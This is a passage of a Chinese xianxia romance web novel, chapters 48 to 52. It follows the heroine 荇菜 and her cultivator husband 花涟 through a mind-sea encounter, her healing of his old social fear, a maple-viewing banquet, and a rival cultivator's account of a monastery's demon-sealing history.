羽雕镯变为万音铃，不仅恢复黑羽雕刻的羽纹，还多出百只细小的铃铛。
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只不过，前五只小铃铛里装有珠子，摇动后能发出响声。珠子分别有合欢木珠、佛珠、精魄珠、鲛人泪珠、凤骨磨成的凤凰珠，材质各不相同，声音的功能也就千差万别。
此外，万音铃的镯身悬一根无色透明的凤凰翎羽，正是荇菜刺入道璇玑心脏的凤羽。
凤武炼制过后，这根透明凤羽已是极品暗器，沾血才显色。沾上修为越高人的血，羽色也会更加艳丽好看。
“凤武，真不愧是司火凤尊，炼器手法得天独厚。不过，你的凤羽……不会是希望我戴着它出现在朱红颖面前，引她找你吧？”
“你见过朱雀护法？放本尊出去。”凤武打碎冰山，在蜃珠洞府里跳脚，恼火起来连脚下的冰面都融化。
荇菜冷笑，动用蜃珠的洞府法则压制他，把凤武扔进冰湖。
“坏我家，本尊让你变成落汤鸡。哈……舒坦了。”
在冰湖中扑棱的不会水的凤武：……
周夫人的院子里，母子两人细细地说着话。
项檀给周老夫人说着在青虞宗修炼的经历，带流苏的飞剑在院子里飞来转去，逗得周老夫人拍掌大笑。
“檀儿出息，好，真好。”周老夫人拉住项檀的手，“阿娘记得檀儿有个志向，效仿圣贤做一名大儒。檀儿，阿娘后悔，应该去书局接你，拦住你不去镇外。”
“阿娘，不要责怪自己。你要养好身体，平平安安过日子，这是儿子的心愿。只要檀儿在世，每年都会回来看你，吃你煮的地瓜粥，好不好？”
荇菜飞去厉眸：“花涟，搞什么鬼？”
花涟头也不回地传音：“我说过，若是项檀本人一定会回来看望他的母亲。”
“你还当真了？呵，行，以后你每年回来看她。”荇菜气恼花涟不安计划走，转身离去。
花涟送周老夫人进屋，陪她睡下后离开院子。
他顺命契感应，寻到湖上的荇菜：“怎么在这，不回家吗？”
“花涟，我想再看一次你的识海。”荇菜幽暗的眸光掠过他俊雅的面容，慢步逼近。
花涟忍不住后退，被荇菜出手一推倒在湖面。
他没有沉下去，被荇菜灵力拉扯住。荇菜飞来，横身压向花涟，比她身体更快到达是灵识。
花涟下意识撇头，避开她的灵识窥破识海。
荇菜砸在他的身上，与他紧紧贴合。
她杵在他震动的胸膛，板正花涟的脸庞：“躲？如今你这里面是不是已经一片红尘俗念，不得解脱？”若非如此，怎么会违背计划，想着照顾周老夫人。
花涟咬牙，猛看向她：“你真要看吗？不后悔？”
“后悔？多陌生又熟悉的词，自从蛋里出来，我就不会后悔。”荇菜拉他坐在湖面，挺身将额头抵在他的额心，彼此呼吸相缠，灵识勾连。
荇菜诧异地看向四周，这是……回到莲花峰？
不，这是花涟的识海，他的识海不再是冰清如水镜，已经染上人间的烟火色。
灵兽矮峰上的巨大三角梅花树下，花涟一身红衣看向走来的荇菜，悠悠伸手：“娘子，你来了。”
荇菜低头，一身火红嫁衣，飘去一阵冷笑：“花涟，搞什么鬼？”
49. 第 49 章
四周飘飞红叶，花涟瞬移近前，揽在荇菜的腰肢，做他一直以来想做的事。
飘忽的仙子落下凡尘，被身披人皮的色鬼侵犯。
“你……”荇菜抵在他的胸前，有瞬间的错愕。此时的花涟哪来纯情，侵略性十足，像是换个人。
花涟一声未言，狠狠地吻住日夜思想的唇，汲取的甜美中蕴藏青山的春色气息，轻浮着荡漾着充盈整个识海。
花树盛开，仙鹤啼鸣，为主人的春心欢呼。
灵识不比人手对身体的细细爱抚，灵识一吻可以贯穿全身。
弱于魂交、强于身体力行。
“放手。”荇菜被激灵下，猛推过去，灵识逃离他的识海。
她定睛后甩去一巴掌，飘飞而起，被花涟一把拽住手腕，猛拉回水面。
两人撞在一起，翻滚中花涟压扣她的双手，用力之大突破灵力的束缚。两人纠缠的手落进冰冰凉凉的湖水，身体、头却还浮在湖面。
重而急促地喘息，灵识纠缠交互中产生高亢的浪潮，美妙的滋味贯穿脑海，激引着想要更多更深。
湖水里被惊动的鱼群循着味儿来到荇菜的指边，细细地啄食她指上散出的灵力。这让荇菜的神智从亢奋中脱离，回到现实。
她从花涟的眼海里看到身下漾开一圈圈的波纹，面对他压来的唇，直接撇开脸。
花涟的呼吸喷洒在她的耳蜗，又痒又暖的感觉冲进荇菜的脑海，烦躁得她想要对付他。
捏扣的手渐趋松力，现实里的花涟还是不敢太孟浪。
荇菜趁机猛推开他，往后飘飞，甩掉满手的湖水。
花涟起身浮空，看向上方的荇菜，克制着冲动，压抑着亢奋：“娘子，事情办完，我们回家吧。”没事人似得向前走，只是同手同脚的模样有些好笑。
荇菜错愕着，生出可笑的想法：这是他做过最狠的事吧？
“哎，你是怕我吸光你的灵力，怕死啊？”
嘴硬手软的妻子委实让花涟有些心痒难耐。
他在月下点头，认真地注视跟来的女子：“嗯。我想……好好陪你。”
“我们找他，问他为什么要这么做好不好？若他出面，青虞宗、黑珠、十方山寺的麻烦不就解决吗？”
花涟知道他说得是谁，慢吞吞回答：“若真去了，我们都回不来。青虞九阳、三生道的道生花应该就在天龙道。
你说的百戴国黑珠、十方山寺，与他们直言就可以。黑珠为你挡戟，十方山寺的僧众慈悲为怀，都是讲道理的人。”
“呵，道理？我是合欢妖女，我讲的话，他们会听吗？那个叫惊雷，上来就动手，讲个屁的道理。”
荇菜懒得理他，瞬移回花家村。
花涟迟疑一步，冲动地鼓起莫大的勇气，转道去十方山寺的雷火寺。
荇菜在花家村久等花涟没来，以为他跑路，回趟青衍镇。
周老夫人的宅院里，蕙永家的孩子在院子里玩小兔子。
周老夫人和蕙永已经哭过一场，两人缝着即将到来的秋日衣衫，一起回忆着从前项檀在家的日子。
项檀来过，消失了。
留下的她们已经开启新的生活。这就是人世。
荇菜没有打扰她们，转身离开。
周老夫人和蕙永的事，算是真正放下。无关项檀真死或者是回归他的创造者。总之，他不会再回青衍镇。
羽化生说：“你纠结、遵守的东西不过是上苍、世人予你的枷锁。”
这些枷锁或与生俱来、或社会赋予，终究在时间的流逝下消散。没有东西是永恒不变，真正不变得是一往无前的强者之心。
荇菜按在心口，淡淡启唇：“所以，变强吧，荇菜。不论对错，成为强者，不被时间碾为尘埃。我应该趁昨夜直接吸收花涟，现在估计都消化完。
切，这人去哪里？”
回花家村或直接离开，她在两个选项里徘徊不定，最终决定回花家村。
理由是到嘴的鸭子不吃，不是善而是蠢。
花涟在半夜三更回花家村，靠在木屋的北墙，想着不惊动荇菜，再等半个时辰就好。
荇菜的灵识早就扫到他，出现在他面前，举手揭去他唇角的血，一言不发扶他回房间。
“娘子，我……”
“以后打不过就跑，别带一身伤回来。”荇菜道。
“好。”花涟含笑应下。
荇菜在他的储物戒指里翻找丹药，摸他的袖里乾坤，弄出一大堆药瓶。“吃哪个能好？”
“已经服过丹药，调息一阵就好，只是看着惨。”
荇菜把药瓶子仍他怀里，挑眉冷笑：“所以，你是专门带这幅死样子回来博同情？”
花涟：……娘子好聪明。
“说，去哪里了？”
花涟几次张口，在荇菜快要没耐心时为难道：“我怕说出来，娘子又说我故意惹你心疼。”
“……”荇菜被整笑，真没看出来花涟有做白茶的潜力，介于白莲和绿茶之间。
她勾唇，低沉着威胁，“说。”
“前几日贺喜给我传信，说羽法尊会给几家一个交待。我见你上青衍镇向周老夫人布幻，所谓的交待是让你以天龙道的名义去解释。
你说你的话没人信，我用自己的名义上雷火寺找龙弼大师，解释惊蛰大师的事。”
“你疯了……你怎么解释？以你自己当证据？”荇菜震惊，张口不知说什么，“……你……谁打你？”
花涟看她要暴走，心里欢喜又不敢说，怕她真去找人家。
龙弼大师已经答应给这个机会，只是要看结果。
荇菜拎起花涟的领子，一张怒容杵在他的面前，咬牙道：“说，别让我窥你识海。”
“惊雷和惊云两位大师。娘子，别去。龙弼大师出来制止他们，而且答应保密，不再追究过往的事。”
“保密？他是怕天龙道吧。惊雷和惊云不知道分身的秘密，所以找你的茬，对吧？”荇菜见他点头，长吸口气，刚要走被他拉住手腕，凶巴巴道，“放手。”
“娘子，我……呃……”花涟逼出一口鲜血。
荇菜吓一跳，赶紧给他输入灵力。
谁知输出的少，吸回得更多，感觉像是天克。她强行逆转《还阳功》，吃力地看向同样不好受的花涟，惨笑道：“现在，明白吧？”
花涟点头，
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假吐血变真吐血，用力咽回肚，怕娘子担忧。手脚酸软，差点真死。
“娘子的功法好生恐怖。”
荇菜懒得理他，什么功法能死而复生？这功法就是逆天，而且死克道祖天尊黄椒。
【哎……所以黄椒非得和我结契，不然，我可是天定杀他的人啊！？】
迎着花涟探寻的眼神，荇菜聚起发散的思绪。
逆转功法也不好受，因为无知害死黑羽。如今，也只敢浅试逆转。
难夫难妻分床和凳，各自盘坐修炼，修复内伤。
翌日，芳菲夫妇来约荇菜秋游。
青螺镇上的书社即将举办秋日赏枫宴，花容和芳菲邀请花涟夫妻前往。
花涟一脸生无可恋，满脸写着拒绝。
他接受花容还是被荇菜硬拽，只因芳菲和荇菜成闺蜜。为荇菜豁出去前往十方山寺已经是他最大的冲动，前往秋日宴简直要他的命。
芳菲缠荇菜半日，终于让她应下，拿套荇菜送的衣裙回去。
花涟委屈地看向荇菜，巴巴道：“娘子……”
荇菜给他个你得去的威胁眼神，走人不理他。
花涟为这事纠结一整晚，翻来覆去难以镇定，完全不像个修真界的中层修士。
荇菜听他的动静，睁着眼思量一会。
“花涟……”
花涟“啊”了声看向荇菜，毫无准备地撞入潋滟的紫波眸海。
“信我。”荇菜道。
花涟彻底松开对心神的禁锢。
荇菜以《玉石还阳功》里四大术的第三术——窥心术，捕捉到花涟的灵识丝缕，寻到当年他社恐的原因。
彼时花涟年幼，被偶遇的师尊带上莲花峰。师父给他一本合欢功法，小花涟觉得要两个人修炼实在太麻烦，捡本合欢宗不入流的《木春诀》。师父笑话小花涟这辈子都不会有成就。
后来，全合欢宗弟子都听说有人入合欢宗不修合欢功法，而去修耕田种地术。
这些嘲笑声明里暗里传入莲花峰，小花涟伤心难过，再没露过面。
数百年一晃过去，许多曾经嘲笑花涟的人已消失在时间的漫漫长河，便是花涟的师父都不曾幸免，而花涟却一直修到破境渡元婴劫。
渡劫的天雷降下，不止合欢宗、全天生大陆的人都知道合欢宗莲花峰出个不曾历练就修到元婴的修士，成为修真界的奇观。
然而，花涟的性格已经在漫长的修炼时间里养成，无法再同陌生人正常交流。
荇菜眨眼收起窥心术。此术消耗极大，通过眼瞳惑术捕捉眸中灵识，直窥内心。此术需要前两术法的辅助才能实施，而对受术者的伤害也是极大。因为受术者很容易在窥心过程中反抗，继而被灵识重创。
花涟对荇菜不设防，没有全力抵挡，也是听“信我”两字，才让荇菜探取成功。
荇菜看向失意垂头的花涟，握住他的手：“花涟，你用实力证明你没错，不必为当年的事纠结。勇敢的走出去，同人说话，会慢慢地改变。你可以和我交流，和花容交流，甚至给芳菲开院门，这就是进步。”
花涟张口，垂眸道：“娘子……不一样，娘子的朋友也不一样。”
50. 第 50 章
“……”荇菜心领他的意思，但是没耐心好言好语相劝，一把捏住花涟的下颚抬起他的脸，与他对视。
潋滟的紫眸蕴藏三色真火，铺展针对心魔的幻境。
眼瞳幻境里，莲花峰众人的嘲笑如潮奔向弱小的花涟。
花涟惊恐地往后退，身后是万丈悬崖不归路。
他知道这是荇菜的幻境，曾经害怕的场面被她从心底彻底勾起。
元婴百年，他不曾在意过往，事实上伤痛一直存在，只因他躲在莲花峰而被忽视。
荇菜在悬崖后推着花涟，把他推入众多嘲笑声里。
她握住花涟的手，带他穿过这些没有人脸却发出笑声的人。
“花涟，这些嘲笑声会彻底的贯穿你。你会被他们的笑声万剑穿身，你会痛苦地躲起来。”
花涟往后缩，被荇菜握着横穿过去。嘲笑声被丢在身后，荇菜带他回头望去。
“你看到吗？那些嘲笑你的人留在后面，而你走在他们的前面。你低头看看自己，你依然是你，嘲笑你的人却已经模糊不清。
你的生活属于你自己，如你说得，此时生活便是活，活在当下最是真。你已经通悟，只是不习惯。
你不再惧怕、不再胆怯，坦然让过往穿过你的身体。回头再看，你还是你，而他们已经各自散去。
你只要做一件事。”
“什么……事？”
“听娘子的话，去习惯与人接触。
花涟，我知道你爱烟火人生，你要结亲，娶漂亮的妻子共度余生，你想回花家村，即使这里早已没有当年的人，却依然想在那安全的地方留一留。”
“娘子……”花涟紧紧地拥住荇菜，闭眼压下被勾起的酸楚。
“行了。合欢宗最好的职业不是把人当炉鼎，而是回去做心理医生啊。若我有机会回去，就考个心理医生的执照。谁特么还当大厂实习生，累死累活九九六，转正还看人脸色……啊。”
荇菜难受地跺花涟一脚，趴回床上，“别再翻来覆去，多出去习惯习惯就好。”
“是……娘子。”花涟坐在床沿，试探道，“娘子，我……”
荇菜往床里一滚，给他留半张床。
仿佛打开人生大门的花涟坦然地躺下去。
他侧身看向荇菜的背影，露出大大的笑容：坦然接受过往，回头再望曾经。别人是别人，自己是自己。此时生活便是活，活在当下最是真。
*
书社的秋日宴在枫林举办，天高气爽、落红满地，黑木枝丫上红黄橙绿，美得参差有度。
芳菲着一身白色仕女裙，在五光十色的夫人堆里丝毫不逊色。
她挽在荇菜的臂弯，悄声道：“菜菜，你看花公子和我夫君，像是……”
“翩翩公子，陌上如玉。只不过，我家花公子有些口吃。”
“怎么这么说花公子。他已经进步好多。”芳菲感激道，“谢谢你送我衣裙还帮我打扮。
听我夫君说今日不仅有镇上的贵公子、夫人、小姐参宴、还有来自拘缨国的贵家公子。若没有你，我真不敢来。”
欧丝国接壤拘缨国，青螺镇花家村正好在两国的交界处。天龙道的十国寡民政策，各国边境安稳繁荣，常有往来互通。
秋日里，青螺镇的枫林是出名的旅游打卡景点，吸引到某些爱旅游的人一点不奇怪。
与芳菲相熟的夫人过来请她，荇菜自言不爱打交道，由着她离开。
荇菜和花涟掩去六分容貌、七分气质，在这些人里看起来非常普通。
不普通得是两人比常人更挺阔的身板，以及走路、弯腰的仪态，三分气质硬是添丝与众不同的味道。
他们单独一位站在火红的大树下就如同一幅古画。
欧阳燕歌拍在罗明的肩头，眼神指向捡枫叶玩的荇菜：“那小妇人是谁家娘子？”
罗明恭敬回：“欧阳公子，她应该不是青螺镇书社成员的家眷，兴许是被谁带来凑热闹。若欧阳公子有兴趣，我托人问问。
这等乡野容貌、气质，不值得公子注意吧。”
欧阳燕歌心道哪需要这么麻烦，笑说：“对于女人，除看，更重要是闻。本公子靠近她就知道她值不值得。”
罗明耸肩：“欧阳公子开心就好，我托人帮公子打听一二。”
荇菜听过“枫叶传情”的典故，捡三片巴掌大的树叶，正想写点什么。
斜里递来一只符笔，她笑望过去，入目是一位衣着不凡的年轻人，腰间挂一枚乾坤玉。
“你怎么知道我要写字？”
“夫人的眉目生情、眼波有春，不在美艳的红叶上写一首诉请诗，岂不辜负这大好的秋色。”欧阳燕歌又举符笔。
“你还挺油。”荇菜接过笔，思量写些什么。
“我听过旁人夸英俊、幽默、高大不凡、神算莫测，从没被人夸油？是——优秀？”
“常人做菜时用的油，沾一点在手上，黏糊糊，单用水洗，怎么洗都洗不干净。”荇菜笑瞥，此人一张精硕的脸上一双精明的桃花眼，多情公子无心人。
“长得挺好，就是油腔滑调，爱招蜂引蝶，怪让人不待见。”
欧阳燕歌没想到她这么直接，低头哂笑，又道：“我观姑娘面相，妥妥得桃花敷面，情人没有七八，也有三四。”
荇菜莞尔，不仅没笑还觉得这人说得挺有道理。按通常情况，她该回句“你懂算命？”接下来是看手相揩油……
她出其不意道：“天净宗的人？”
“哦？何以见得？”若找过来是因荇菜的一分违和感，现在已经吊起欧阳燕歌三分的兴趣。
“你自己说的呀。”荇菜理所当然道。
“哈……道上的姑娘。”欧阳燕歌假作恍然，话赶话应上，“修士擅长养颜，女修犹胜。在下好奇姑娘的真容了。”
“娘子……”花涟应付完花容和他的同窗，瞥见有男子靠近荇菜，当即站不住，赶紧走来，“请你，离开。”
欧阳燕歌在他走来时已经观察过花涟，朝荇菜莞尔笑着：“道侣？”
荇菜没理他，挽上花涟的手臂，举起三片红叶：“我想红叶传情，不知道写些什么好，你有想写的诗句吗？”
花涟的面色已经红艳如火枫，将荇菜手里的符
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笔递还给欧阳燕歌，从袖里乾坤摸出自己的笔，写道：“捡一片枫叶赏玩，邀我家娘子寄情。”
荇菜读了一遍，瞧他一本正经的脸，忍不住捧腹大笑：“你可真写实。哈哈哈……”
花涟温柔地看着她，又取走她手上得一片枫叶，写：“莲花峰上座，娘子是主我是仆。三角梅下躺，花叶为被夫为床。”中间是娘子。
荇菜瞧完直接锤他：“花相公，看不出来你的白布衣下藏着这般的蠢蠢欲动。哈哈哈……”
花涟满脸柔情，又来拿第三片枫叶，被荇菜躲过去。
荇菜：“不行，这片我要写，写什么呢？”
她拿过笔，东瞧西望，不少夫人也在捡枫叶玩，书：“若无闲事挂心头，便是人间好时节。”
枫叶和笔一起递给花涟，“这是无门慧开禅师写的诗句，我想这是普通人最好的生活状态吧。”
花涟颔首，在旁边补句：“妻闲夫忙一座山，日日登峰顶簪花。”
荇菜没懂最后句话的意思，脑子里无师自通地过着不可描述的画面。结合花涟前面几句，细想就是一副“被翻红浪、峰上摘花”的画面，极尽香艳。
“你……花相公，过分了。”
花涟张眼，好奇地望向荇菜，不知她想到什么？
荇菜再次品出他的纯蠢气质，一把掐在花涟的两颊，挤出个笑不活脸。
花涟任她在脸上为所欲为，取只玉盒，将三张红叶放进去，收进袖里乾坤。
荇菜忍不了他可爱的模样，心痒下顺势垫脚亲他的唇，柔柔软软、微微凉凉，记起许久不曾吃过的果冻味道。
旁边传来妇人们的惊呼，窃窃私语：光天化日之下，长得也不咋样，竟然干这种龌龊事。
花涟的眼神瑟缩，被荇菜握住手腕，不让他退。
荇菜环顾一圈，吓走那些恼人的目光：“花相公，你让我记起初恋的感觉。我们回家吧。”
花涟漏过初恋两字，鼓起勇气看向四周：“娘子害怕流言蜚语？”
“傻子。”荇菜一把拉下花涟的脖子，垫脚吻上，一手引领花涟把手挪在自己的腰侧，抵在他的唇角轻吟，“张嘴。”
花涟顺意拥紧他，刚张口就被侵入，“啊……唔……”
舌尖被清晨的山风拂过，激得他起风回卷。
揽在她腰间的手御起一道结界，遮挡世人偷看她美好的眼神。
两人在众人眼前消失不见。
荇菜推开他，身旁穿过寻来的夫人们，好笑道：“我以为你已经不怕旁人的目光。”
花涟紧随她，哪在意这些，急切道：“娘子，我们回莲花峰。”
“嗯？”荇菜不解，“不回花家村吗？”
她看向三三两两凑成堆的夫人、小姐，还有公子、书生，纷至过来玩寻人，好玩道，“人间好时节和你的红尘俗气挺相配，不多留一会？”
“娘子，这儿终究不是我的一座山。我想山上只有娘子。”
荇菜避开他的眼神，垂目道：“你帮我去十方山雷火寺，我要去百戴国找黑珠，同他解释清楚黑羽的事。我想……一个人去。”
51. 第 51 章
花涟微愣，心中波浪无声荡平，含笑应道：“好。”
那位名唤黑羽的男子一定与别人不同。
“我在莲花峰等娘子归来。希望娘子能早点回来。”
荇菜的心上滑过一道电流，恍然看去，花涟已经消失不见。
“你……这话……不会是去破境化神吧？不会不会，他说过他的资质只能到元婴。可我也说过，希望他突破……他应该不会真傻吧。”
荇菜摇着头走出花涟设下的结界，被蹲守的欧阳燕歌拦下。
“夫人，其人各有天命。聚散离别终有时，未到临头总不知。若要破解困厄，可以找我哦，免费帮夫人消灾化厄。”欧阳燕歌叭叭道。
荇菜听他改口唤夫人，既知有夫之妇，还找借口献殷勤，真是好无理。她依旧没理：花涟说过要好好陪着我，又怎么可能回去突破？我上次让他突破是因为好奇黄椒对分身的设定。不行，我得尽快找黑珠解释清楚黑羽的事，再赶回莲花峰。
她绕过巴拉巴拉的欧阳燕歌，给四处寻人的芳菲传音：“芳菲，我夫妇二人有要事离家。花家村的宅子劳你夫妇帮忙看顾。若我夫妻半年未归，你们就帮着处理吧。多谢。”
芳菲听闻枫林内有夫妇当众孟浪，正忙着寻荇菜。
如今听到这番传音，结合现场夫人们的指点江山，生出种“花公子夫妇当众秀恩爱，羞于见人，打算离家出走，等过些日子再回”的想法。
失去荇菜，她颇有些失落，转身又沉浸在各色夫人们的探讨声中。
罗明听说有人在枫林孟浪，以为是贵公子欧阳燕歌当众轻薄妇人，拍扇柄嘀咕：“这欧阳公子不会放浪至此吧？啧，找去看看。”
荇菜破空瞬移，至一处山林落地，幻化为红衣凤翎的羽衫、赤足垂铃，美艳非凡，举手投足更是韵藏绝色风流。
浮身看向尾随出空间节点的欧阳燕歌，眼波扫过他手中的古铜罗盘，眯眸轻笑：“有意思。破空瞬移是很难被锁定方位的。你倒有点本事，竟跟上来。”
欧阳燕歌委实愣顿好一会，先前心直口快的村妇摇身一变成为神女天姿，给人一种心花怒放的惊喜。本就含笑的唇角在看见荇菜的真容后生出从心而发的真诚笑意。“区区不才，与……姑娘的境界不相上下。”
荇菜轻笑出声，瞧他一副书里书气的妖道摸样，勾着唇：“我问你个问题，你来回答。回答好，我不追究你跟着我、又瞧见我真容的事。否则，你可能会尝到被烈焰焚身的痛苦滋味。”
“哦，得见姑娘真容，我身……已焚焦难耐。”欧阳燕歌瞧着她沉色，越发油嘴滑舌，“若能被姑娘焚心，当真是三生有幸。姑娘有问题尽管问，别说一个，十个八个都不是问题。”
荇菜瞧着他怀间垂挂的乾坤玉，天净宗乃是天生大陆八宗里排在第二位的宗门。以此人的修为和年岁，资质品行不会太差，只是嘴上爱占便宜。确实可以给他点教训。
她无视刚才的话，不动声色道：“十方山里的寺庙、僧人众多，他们都是靠什么收妖，又为什么收妖？自诩慈悲的和尚提倡生灵平等，为什么要杀妖分尸，这不就背离佛法倡议的慈航天下？”
欧阳燕歌没想到她问一个与此情此景好无关联的问题，而且问了这么多个，真是一点都不见外。他在原地走两步，指尖的符笔旋转数圈：“姑娘对这些问题疑惑很久吧？毕竟，书上不会记下这等糟污的事。”
荇菜颔首：“确实。我听过一个说法：有大妖攻破十方山寺，推倒锁妖塔，放出一众妖怪，致不少高昌国人无辜罹难。
事后，和尚们不加固锁妖塔，反而开始以杀妖分尸的手法镇压恶妖，这事怎么看都说不过去。
我瞧你像是喜欢八卦得那类修士，或有见解。”
欧阳燕歌没想到被夸“爱八卦”，哂笑道：“姑娘夸人的词句还真是挺特别。”他拱手，举起符笔，以墨汁和灵力画出十方山寺的山川图，向外囊括整个高昌国的山川全貌。
在灵力的流动下，墨汁描绘的场景栩栩如生，甚至可以看到山野道上颤动的人头，全是奔向十方寺拜佛的信徒。
荇菜被他这一手潇洒至极的凌空作画给震住，人在画中游，画在人外跑，两人成山中朝圣的信徒。
修真界果然人才辈出，无所不能。
欧阳燕歌笔点十方山内现存的五座高耸入云的大塔：“塔顶供奉国佛舍利，五舍利和山川走势形成巨大的封山镇魂阵。镇得除姑娘听过得被分尸的妖族外，还有……”
荇菜睁大眼眸，等他说下去。
欧阳燕歌却说道：“十方山位于高昌国北，囊诺数千山峰，庙宇不下千座，苦行自修法门的僧人一起算上去，庙众几近过万。僧人们各有信众，皆以十方寺为首。
十方寺主持圆空大师，佛法精深，以佛理蕴功德收妖。此法过程缓慢，但效果不错。若恶妖真被他感化，日后还能安居乐业或皈依我佛。
护法僧——守空大师，精通武道，走得是武僧路，以武降妖。两僧一文一武，一起维护十方寺在高昌国、十方山里的地位。
然而，两百年前，羽民国出来一名叫林枷的妖僧，改变十方寺千百年来的收妖规则。林枷推崇守空大师的以武收妖法，而且变本加厉，暗中实行分尸镇妖。”
荇菜诧异道：“林枷本身是妖，竟还分尸镇妖？这分尸镇妖的手法是林枷始创？”
“不错。妖对妖最是了解。分尸镇妖的手法凶残，惹怒一众妖族。天羽宗携带妖众前来质问十方寺，逼守空大师出面。
然而，林枷以守空之名收妖，早已聚集一帮信徒。在两宗谈话会上，林枷反口咬定这是守空大师授予执法。他妖言惑众，自忏武僧之道不仁、背弃佛祖，不容佛道。其门下僧众也开始反对以武降妖，不明真相得以佛理渡人的僧人也开始支持妖僧林枷，反对守空大师。”
荇菜讽刺地笑着，瞧向十方山顶的十方寺：“这不就是临到头把黑说成白，白反倒成黑。颠倒是非、栽桩嫁祸，再倒打一耙？”
“姑娘好理解。”欧阳燕歌继续道，“守空大师为武僧正名，与妖僧林枷当场斗法。林枷战败，被守空大师镇压在锁妖塔。守空大师放言：若林枷可以渡尽塔中恶妖，才会放他出塔。
焉不知这是守空大师在给林枷一次活命的机会，天羽宗围山问法，不给个人怎么收场？可惜，林枷这等妖僧怎么会懂守空大师的用意呢。
林枷是真妖真僧，拜得是邪佛妖魔，行得是魔道，又怎么可能渡妖？
此事过后，十方寺文武两派争议更大，守空大师的名声是彻底毁了。为向天羽宗交待、十方寺的宁静，他立誓不再收妖、选择出走，被聘为高昌国的祈福国师。
此事自此落定，却也是另一场灾难的起因。
守空大师门下有两位弟子，名唤惊蛰和惊雷，还是留在十方寺修行。
林枷有一相好，名唤美兕，一条九头妖蛇。”
欧阳燕歌执笔挥毫，在荇菜周围化出一场人妖联合攻打十方寺的辉宏战役。
文僧以佛
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经结阵，却抵挡不住被迷惑的人修的攻击。美兕以巨大的九头蛇躯推倒锁妖塔，释放无数妖魔和林枷妖僧。
佛家节节败退时，惊蛰和惊雷带领武僧抵挡人妖联合大军，救人亦杀人。守空大师也再次出现，击败林枷。而高昌国在此战中被逃出的妖魔屠戮近半数百姓，当年，高昌国境内哀嚎遍野，混乱不堪。
欧阳燕歌感慨：“其余宗门赶去时，灾难已经降临。林枷弄出杀妖分尸镇魂之法，最终报应在他的身上。而此战警示世人：邪魔歪道不可渡化，只可灭杀。”
他举手振笔，落下一道天际灵光，光中的白衣仙人以起死回生术逆转轮回，重塑高昌国。
“这就是道祖天尊的无上威能，天生大陆无不对他信服。”
荇菜仰看墨汁中留白勾画的白色轮廓，真有天神降临的味道。
“若天龙道真这么厉害，美兕攻山时就该出手。”
“姑娘这话就偏颇。他虽是最接近神的人，到底是一名修士。”欧阳燕歌说完，抹去战场，挥毫战后的场景。
荇菜瞧着他用笔墨勾勒的光头和尚，脑海里想起嘴巴特坏、行为却还温柔的惊蛰，喃喃道：“真是搞笑。杀人非我所愿，不杀人，大家都要死，难道真引颈受戮？”
欧阳燕歌含笑点头：“姑娘的见解果真不一般。信众为信仰而死，这是修者之道。当年，惊蛰、惊雷被逐出十方寺，无人替两人说理，在战役里，两人也行杀妖分尸的手法。
佛经倡议、武僧执法，本就是两派做法，互有隔阂，引起矛盾在所难免。”
又道，“此战过后，守空大师把林枷分尸、镇在四方塔，魂魄压在中央十方寺塔下；美兕被斩去八头，余下一命逃走。此后，守空大师返回国师府，自此闭门不出。无论天下如何，他都不再过问。
惊蛰和惊雷因为在战中杀死进犯的人修、实行杀妖分尸手法、事后又支持守空大师镇压林枷，而被驱逐山门。后来，两人被雷火寺的龙弼大师收留。
百多年过去，两人行的道受妖僧林枷的影响，心境、修为被困在佛丹境，多年不得寸进。
不少人劝两人改修以经渡妖的法门，他们反倒走别人的旧路，行霹雳道，而这也加重两人的心魔。
怎么说呢？一报还一报，佛家道理啊。”
欧阳燕歌见她没说话，思量道：“惊蛰已于十年前在即谷失踪，传闻是受合欢妖女的蛊惑，消失在即谷的暗夜。彼时，合欢妖女不过筑基修为，如何能杀死停在佛丹境百多年的惊蛰大师？照我猜测，合欢以‘惑’诱人心魔，恐怕是勾出惊蛰大师百多年的心魔才能得手。
惊雷大师为寻惊蛰大师几近疯魔，不久前还打伤……”
说到这，他含笑看向张眸的荇菜，“打伤合欢宗的花涟长老。”
荇菜轻嗤，照他的说法，也无不道理。当日深夜，银月照眸，惊蛰的双目赤红，分明是入魔之照。
这欧阳燕歌真是精明聪慧，天净宗能掐会算又以智谋闻名，不愧是大陆第二宗门，能猜到这么多不奇怪。
“行了。你解释得还可以，我不追究了。我现在要离开，你别再跟着。”
欧阳燕歌急起来，快口喊：“哎，仙女，我说大半天没有功劳也有苦劳，在下不要工钱，你就请我喝杯茶吧。”
荇菜模糊的身影再次清晰，含笑俯视着他：“刚才喊我什么？”长睫如羽，紫眸潋滟，硬是把欧阳燕歌惊艳在原地。
“小仙女。”欧阳燕歌喃喃应话，“小仙女，小仙女……”
52. 第 52 章
“中意。行吧，本仙女准许你跟来。”荇菜一步跨出，极尽现有的修为消失在当地。她在空间通道里以火法燃掉一支香。这香是花涟用来驱花家村宅内的蚊蝇。
当她再次出现时，摸把鼻尖：“书上说，天净宗以息寻人，你想跟上我，没门。”
欧阳燕歌杵在空间通道，手中的罗盘指针乱转，到处是小仙女的气息，锁不定她往哪个方向离开。
“狡猾的小仙女。罢，待我一个个找过去，不信找不到你。”
百戴国接壤拘缨国。荇菜耗费点时间穿过拘缨国，来到百戴国的戴家堡。
话说，戴祺兄妹说自家钱银不够，雇不起厉害的修士，恐怕是自谦的说法。
戴家堡人口过万，镇上几条街全归戴家堡女主人戴翠翠所属，就是戴祺兄妹的母亲、黑珠的妻子，戴家绝对是百戴国有名的簪缨财主。
荇菜绕过戴家堡的护卫，寻到一处柴房顶，立在屋顶上静静地看着下面的戏码。
十年不见，戴绮已经是五十岁的妇人，隔着柴房门同屋子里的父亲黑珠说话。相较于黑珠是羽民国妖族人，比戴绮看起来年轻得多。
戴绮皱张血气充盈的脸，瞧着有些年轻时的稚气，说的话却不客气。
“爹啊，你擅自离家出走，都不知会我们一声，本就是你得不对。你就向母亲服个软，为什么要为黑羽的事同大家置气呢？这是多少年前的老黄历，非得拿出来找不痛快。黑羽早就不在人……”
“因为他不在，我才更过不去心里这道坎。若是当年我足够硬气，黑羽不会离家出走。他会像你们兄妹、你的儿女、外甥一样，好好地活在戴家堡。”黑珠说到这已经哽咽了，强咽下去，“绮儿，你走吧，好好操持自家的事，别管我和你母亲的事。”
戴绮恼地扭紧手帕，在门外徘徊几步，又拍打门扇：“爹，实话和你说，你这一走一回，家里就多两位侍夫郎君。母亲逼我和孩子们喊两人作爹，把我和哥哥给气得够呛。我和孩子们连脸都没了，我们需要你出来主持公道。”
黑珠不由张口，无声地抽着唇角笑，半响没出声。儿女这般大却还依恋父母，当真是怎么教都独立不了。
